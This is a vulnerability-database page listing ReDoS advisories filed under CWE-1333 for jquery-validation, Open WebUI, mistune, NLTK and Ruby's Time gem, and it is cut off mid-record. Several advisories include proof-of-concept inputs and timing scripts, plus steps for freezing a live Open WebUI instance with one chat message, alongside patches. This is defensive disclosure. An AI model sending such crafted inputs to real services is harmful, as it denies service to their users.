Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

792 vulnerabilities reference this CWE, most recent first.

GHSA-FFMH-X56J-9RC3

Vulnerability from github – Published: 2022-07-05 22:56 – Updated: 2022-07-22 16:34
VLAI
Summary
jquery-validation Regular Expression Denial of Service due to arbitrary input to url2 method
Details

Summary

Incomplete fix of CVE-2021-43306: An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the jquery-validation npm package, when an attacker is able to supply arbitrary input to the url2 method.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jquery-validation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-05T22:56:58Z",
    "nvd_published_at": "2022-07-14T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Summary\n\nIncomplete fix of CVE-2021-43306: An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the jquery-validation npm package, when an attacker is able to supply arbitrary input to the url2 method.",
  "id": "GHSA-ffmh-x56j-9rc3",
  "modified": "2022-07-22T16:34:21Z",
  "published": "2022-07-05T22:56:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jquery-validation/jquery-validation/security/advisories/GHSA-ffmh-x56j-9rc3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31147"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jquery-validation/jquery-validation/commit/5bbd80d27fc6b607d2f7f106c89522051a9fb0dd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jquery-validation/jquery-validation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jquery-validation/jquery-validation/releases/tag/1.19.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jquery-validation Regular Expression Denial of Service due to arbitrary input to url2 method"
}

GHSA-FFPJ-XV5C-P3GW

Vulnerability from github – Published: 2026-07-24 16:55 – Updated: 2026-07-24 16:55
VLAI
Summary
Open WebUI: ReDoS in skill-mention regexes causes whole-instance DoS on default config
Details

Summary

Two regexes in backend/open_webui/utils/middleware.py that parse <$skillId|label> skill-mention tags backtrack in O(n²) on input that contains <$ followed by a long run with no closing >. Both run synchronously, on the asyncio event loop, on every chat completion with no feature gate. Because the default deployment is a single uvicorn worker, one such input pins a CPU core inside re and freezes the entire instance for all users until the worker is killed. Any authenticated user can trigger it with one chat message; it also fires accidentally on benign retrieved content (a RAG chunk or tool output) containing the pattern.

Affected versions

>= 0.9.2, < 0.10.0. Fixed in v0.10.0 (there is no 0.9.7 release). - SKILL_MENTION_RE (the extract pattern) has been O(n²) since v0.9.2; exploitable on 0.9.2–0.9.5 with a large input (hundreds of KB). - v0.9.6 added a second, far more aggressive O(n²) in the strip pattern (introduced by the "keep label as readable text" change), so on 0.9.6 a small input is enough to hang the instance.

Both are fixed by the same patch.

Affected component

backend/open_webui/utils/middleware.py (line numbers as of v0.9.6):

# line 2223 — used by extract_skill_ids_from_messages(), called unconditionally (~line 2625)
SKILL_MENTION_RE = re.compile(r'<\$([^|>]+)\|?[^>]*>')

# line 2247 — used by strip_skill_mentions(), called unconditionally (line 2662)
strip_re = re.compile(r'<\$[^|>]+\|?([^>]*)>')

extract_skill_ids_from_messages() runs before the if all_skill_ids: block (that guard gates only skill injection, not the regex), and strip_skill_mentions() runs with no guard at all. Neither requires a skill to exist or any setting to be enabled. Both functions are plain synchronous calls inside the async process_chat_payload coroutine, so they block the event loop; with the default UVICORN_WORKERS=1 (backend/start.sh) the whole instance stalls.

Root cause

[^|>] is a subset of [^>], so the quantifier pair [^|>]+ \|? [^>]* is ambiguous: on input that never closes with >, [^|>]+ greedily consumes the tail, > fails, and the engine backtracks through every split point between [^|>]+ and [^>]* — O(n) positions each doing O(n) work. Polynomial, not exponential, but more than enough to hang a single worker on a ~100 KB input.

Proof of concept

Standalone (no Open WebUI required):

import re, time
EXTRACT = re.compile(r'<\$([^|>]+)\|?[^>]*>')
STRIP   = re.compile(r'<\$[^|>]+\|?([^>]*)>')
for n in (8_000, 16_000, 32_000, 64_000):
    s = '<$' + ('a' * n)
    for name, rx in (('extract', EXTRACT), ('strip', STRIP)):
        t = time.perf_counter(); rx.search(s)
        print(f'n={n:>6} {name:>7} = {(time.perf_counter()-t)*1000:8.1f} ms')

Time quadruples per doubling of n (textbook O(n²)); the strip pattern runs for ~6 seconds on a 64k blob and for minutes on a ~96 KB one.

End-to-end against a live instance (default config): 1. docker run ghcr.io/open-webui/open-webui:v0.9.6 on defaults. 2. Log in as any user (no admin or skill setup). 3. Send a chat message containing <$ followed by 50k+ characters with no >. 4. One CPU core pegs in re; UI and API stop responding for every user until the worker is killed.

Patch

Rewrite the optional |label as a non-capturing optional group so the two quantifiers no longer overlap. Both patterns become linear; captures and substituted output are unchanged on well-formed <$id|label>, <$id|>, and bare <$id> mentions.

SKILL_MENTION_RE = re.compile(r'<\$([^|>]+)(?:\|[^>]*)?>')
strip_re         = re.compile(r'<\$[^|>]+(?:\|([^>]*))?>')

After the patch the same hostile input returns in under 1 ms. Shipped in v0.10.0.

Credit

Reported by @Vlad-WKG, including a correct root-cause analysis and patch.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.2"
            },
            {
              "fixed": "0.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59220"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:55:55Z",
    "nvd_published_at": "2026-07-09T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nTwo regexes in `backend/open_webui/utils/middleware.py` that parse `\u003c$skillId|label\u003e` skill-mention tags backtrack in O(n\u00b2) on input that contains `\u003c$` followed by a long run with no closing `\u003e`. Both run synchronously, on the asyncio event loop, on **every** chat completion with no feature gate. Because the default deployment is a single uvicorn worker, one such input pins a CPU core inside `re` and freezes the entire instance for all users until the worker is killed. Any authenticated user can trigger it with one chat message; it also fires accidentally on benign retrieved content (a RAG chunk or tool output) containing the pattern.\n\n## Affected versions\n`\u003e= 0.9.2, \u003c 0.10.0`. Fixed in **v0.10.0** (there is no 0.9.7 release).\n- `SKILL_MENTION_RE` (the extract pattern) has been O(n\u00b2) since **v0.9.2**; exploitable on 0.9.2\u20130.9.5 with a large input (hundreds of KB).\n- **v0.9.6** added a second, far more aggressive O(n\u00b2) in the strip pattern (introduced by the \"keep label as readable text\" change), so on 0.9.6 a small input is enough to hang the instance.\n\nBoth are fixed by the same patch.\n\n## Affected component\n`backend/open_webui/utils/middleware.py` (line numbers as of v0.9.6):\n\n```python\n# line 2223 \u2014 used by extract_skill_ids_from_messages(), called unconditionally (~line 2625)\nSKILL_MENTION_RE = re.compile(r\u0027\u003c\\$([^|\u003e]+)\\|?[^\u003e]*\u003e\u0027)\n\n# line 2247 \u2014 used by strip_skill_mentions(), called unconditionally (line 2662)\nstrip_re = re.compile(r\u0027\u003c\\$[^|\u003e]+\\|?([^\u003e]*)\u003e\u0027)\n```\n\n`extract_skill_ids_from_messages()` runs before the `if all_skill_ids:` block (that guard gates only skill *injection*, not the regex), and `strip_skill_mentions()` runs with no guard at all. Neither requires a skill to exist or any setting to be enabled. Both functions are plain synchronous calls inside the async `process_chat_payload` coroutine, so they block the event loop; with the default `UVICORN_WORKERS=1` (`backend/start.sh`) the whole instance stalls.\n\n## Root cause\n`[^|\u003e]` is a subset of `[^\u003e]`, so the quantifier pair `[^|\u003e]+ \\|? [^\u003e]*` is ambiguous: on input that never closes with `\u003e`, `[^|\u003e]+` greedily consumes the tail, `\u003e` fails, and the engine backtracks through every split point between `[^|\u003e]+` and `[^\u003e]*` \u2014 O(n) positions each doing O(n) work. Polynomial, not exponential, but more than enough to hang a single worker on a ~100 KB input.\n\n## Proof of concept\nStandalone (no Open WebUI required):\n\n```python\nimport re, time\nEXTRACT = re.compile(r\u0027\u003c\\$([^|\u003e]+)\\|?[^\u003e]*\u003e\u0027)\nSTRIP   = re.compile(r\u0027\u003c\\$[^|\u003e]+\\|?([^\u003e]*)\u003e\u0027)\nfor n in (8_000, 16_000, 32_000, 64_000):\n    s = \u0027\u003c$\u0027 + (\u0027a\u0027 * n)\n    for name, rx in ((\u0027extract\u0027, EXTRACT), (\u0027strip\u0027, STRIP)):\n        t = time.perf_counter(); rx.search(s)\n        print(f\u0027n={n:\u003e6} {name:\u003e7} = {(time.perf_counter()-t)*1000:8.1f} ms\u0027)\n```\n\nTime quadruples per doubling of `n` (textbook O(n\u00b2)); the strip pattern runs for ~6 seconds on a 64k blob and for minutes on a ~96 KB one.\n\nEnd-to-end against a live instance (default config):\n1. `docker run ghcr.io/open-webui/open-webui:v0.9.6` on defaults.\n2. Log in as any user (no admin or skill setup).\n3. Send a chat message containing `\u003c$` followed by 50k+ characters with no `\u003e`.\n4. One CPU core pegs in `re`; UI and API stop responding for every user until the worker is killed.\n\n## Patch\nRewrite the optional `|label` as a non-capturing optional group so the two quantifiers no longer overlap. Both patterns become linear; captures and substituted output are unchanged on well-formed `\u003c$id|label\u003e`, `\u003c$id|\u003e`, and bare `\u003c$id\u003e` mentions.\n\n```python\nSKILL_MENTION_RE = re.compile(r\u0027\u003c\\$([^|\u003e]+)(?:\\|[^\u003e]*)?\u003e\u0027)\nstrip_re         = re.compile(r\u0027\u003c\\$[^|\u003e]+(?:\\|([^\u003e]*))?\u003e\u0027)\n```\n\nAfter the patch the same hostile input returns in under 1 ms. Shipped in v0.10.0.\n\n## Credit\nReported by @Vlad-WKG, including a correct root-cause analysis and patch.",
  "id": "GHSA-ffpj-xv5c-p3gw",
  "modified": "2026-07-24T16:55:55Z",
  "published": "2026-07-24T16:55:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-ffpj-xv5c-p3gw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59220"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/61a26722155ec6ee1b629cf8dfcf975098c18331"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: ReDoS in skill-mention regexes causes whole-instance DoS on default config"
}

GHSA-FFQ3-XPV3-J92Q

Vulnerability from github – Published: 2026-07-20 21:24 – Updated: 2026-07-20 21:24
VLAI
Summary
Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions
Details

Summary

Type: Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated [a]: u\n definitions take ~1.1 second; 10000 → ~4.5 seconds. File: src/mistune/block_parser.py (reference-link def parsing) and the surrounding ref_links env-dictionary handling. Root cause: every reference definition is parsed by scanning forward from each candidate position. The unikey normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).

Affected Code

src/mistune/block_parser.py — reference-definition rule fires on every line that matches [label]: url. For each one: - unikey(label) is called (linear scan of the label). - The def is appended to state.env['ref_links']. - Later inline-link resolution looks up by unikey(label) in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.

The cumulative parse time grows as the square of the number of defs.

Why it's wrong: the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).

Exploit Chain

  1. Application uses mistune to render attacker-supplied markdown. No plugins required.
  2. Attacker submits a 35 KB document of [a]: u\n repeated 5000 times followed by [click][a].
  3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.

Security Impact

Attacker capability: small input → large CPU. Predictable scaling. Can be repeated. Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. Worth noting: the ref_links dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds. Differential: PoC-verified against mistune@3.2.1, default config:

import mistune, time
md = mistune.create_markdown()
for n in [1000, 2000, 5000, 10000]:
    s = '[a]: u\n' * n + '[click][a]'
    t = time.time()
    md(s)
    print(f'  ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')

# Output (Python 3.13, Linux, 2.5GHz CPU):
#   ref defs *  1000  ( 7012b):    46ms
#   ref defs *  2000 (14012b):   186ms
#   ref defs *  5000 (35012b):  1121ms
#   ref defs * 10000 (70012b):  4400ms

The patched build (with the surrounding parser amortised to O(N)) keeps the time linear.

Suggested Fix

Replace the per-def re-scan with a single forward pass that classifies each line into ref_def | paragraph | other once and only inserts into ref_links once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.

A regression test asserting that md('[a]: u\n' * 50_000 + '[click][a]') completes in under 1 second would catch any regression.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mistune"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:24:18Z",
    "nvd_published_at": "2026-07-08T17:17:28Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N\u00b2) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 \u2192 ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N\u00b2).\n\n## Affected Code\n\n`src/mistune/block_parser.py` \u2014 reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env[\u0027ref_links\u0027]`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it\u0027s wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs \u2192 ~4.5 s. 20000 \u2192 ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input \u2192 large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n    s = \u0027[a]: u\\n\u0027 * n + \u0027[click][a]\u0027\n    t = time.time()\n    md(s)\n    print(f\u0027  ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms\u0027)\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n#   ref defs *  1000  ( 7012b):    46ms\n#   ref defs *  2000 (14012b):   186ms\n#   ref defs *  5000 (35012b):  1121ms\n#   ref defs * 10000 (70012b):  4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md(\u0027[a]: u\\n\u0027 * 50_000 + \u0027[click][a]\u0027)` completes in under 1 second would catch any regression.",
  "id": "GHSA-ffq3-xpv3-j92q",
  "modified": "2026-07-20T21:24:18Z",
  "published": "2026-07-20T21:24:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions"
}

GHSA-FG7F-2386-8897

Vulnerability from github – Published: 2026-07-31 16:51 – Updated: 2026-07-31 16:51
VLAI
Summary
Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
Details

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
    bench("BOUNDED     fix #3583", FEATURES_FIXED)
    same = parity_check()

    print("\n" + "=" * 66)
    print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" * 66)


if __name__ == "__main__":
    main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:51:09Z",
    "nvd_published_at": "2026-06-15T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded \u2014 an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n\u00b2) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n#     A generous bound (real feature labels are short noun phrases) makes the\n#     run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n    r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0  # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n    \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n    return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n    pat = re.compile(pattern_str)\n    t0 = time.perf_counter()\n    pat.findall(line)\n    q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n    \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n    q = mp.Queue()\n    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n    p.start()\n    p.join(timeout)\n    if p.is_alive():\n        p.terminate()\n        p.join()\n        return None\n    return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n    print(f\"\\n[{label}]  pattern: {pattern.pattern}\")\n    print(f\"  {\u0027words\u0027:\u003e7} {\u0027~bytes\u0027:\u003e8}   {\u0027time\u0027:\u003e12}   {\u0027x prev\u0027:\u003e7}\")\n    prev = None\n    for n in SIZES:\n        line = _bad_line(n)\n        t = timed_findall(pattern, line)\n        if t is None:\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {\u0027\u003e%.0fs TIMEOUT\u0027 % TIMEOUT:\u003e12}   {\u0027--\u0027:\u003e7}\")\n            prev = None\n        else:\n            ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n            print(f\"  {n:\u003e7} {len(line):\u003e8}   {t*1000:\u003e9.1f} ms   {ratio:\u003e7}\")\n            prev = t\n\n\ndef parity_check():\n    \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n    real = (\n        \"the picture quality[+2] and battery life[+1] are great but \"\n        \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n    )\n    a = FEATURES_VULN.findall(real)\n    b = FEATURES_FIXED.findall(real)\n    print(\"\\n[parity] realistic annotated line \u2014 extraction must be identical\")\n    print(f\"  vulnerable regex -\u003e {a}\")\n    print(f\"  bounded   regex  -\u003e {b}\")\n    print(f\"  identical: {a == b}\")\n    return a == b\n\n\ndef main():\n    print(\"=\" * 66)\n    print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n    print(\"=\" * 66)\n    print(f\" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}\")\n\n    bench(\"VULNERABLE  reviews.py L70-71\", FEATURES_VULN)\n    bench(\"BOUNDED     fix #3583\", FEATURES_FIXED)\n    same = parity_check()\n\n    print(\"\\n\" + \"=\" * 66)\n    print(\" Vulnerable: ~4x time per input doubling  =\u003e O(n^2) quadratic ReDoS\")\n    print(\" Bounded:    ~2x time per input doubling  =\u003e O(n)   linear, stays in ms\")\n    print(f\" Extraction parity on real annotations preserved: {same}\")\n    print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n    print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.",
  "id": "GHSA-fg7f-2386-8897",
  "modified": "2026-07-31T16:51:09Z",
  "published": "2026-07-31T16:51:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex"
}

GHSA-FG7X-G82R-94QC

Vulnerability from github – Published: 2023-03-31 06:30 – Updated: 2025-11-04 19:37
VLAI
Summary
Ruby Time component ReDoS issue
Details

A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby through 3.2.1. The Time parser mishandles invalid URLs that have specific characters. It causes an increase in execution time for parsing strings to Time objects. The fixed versions are 0.1.1 and 0.2.2.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "time"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "0.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "time"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-28756"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-31T22:43:54Z",
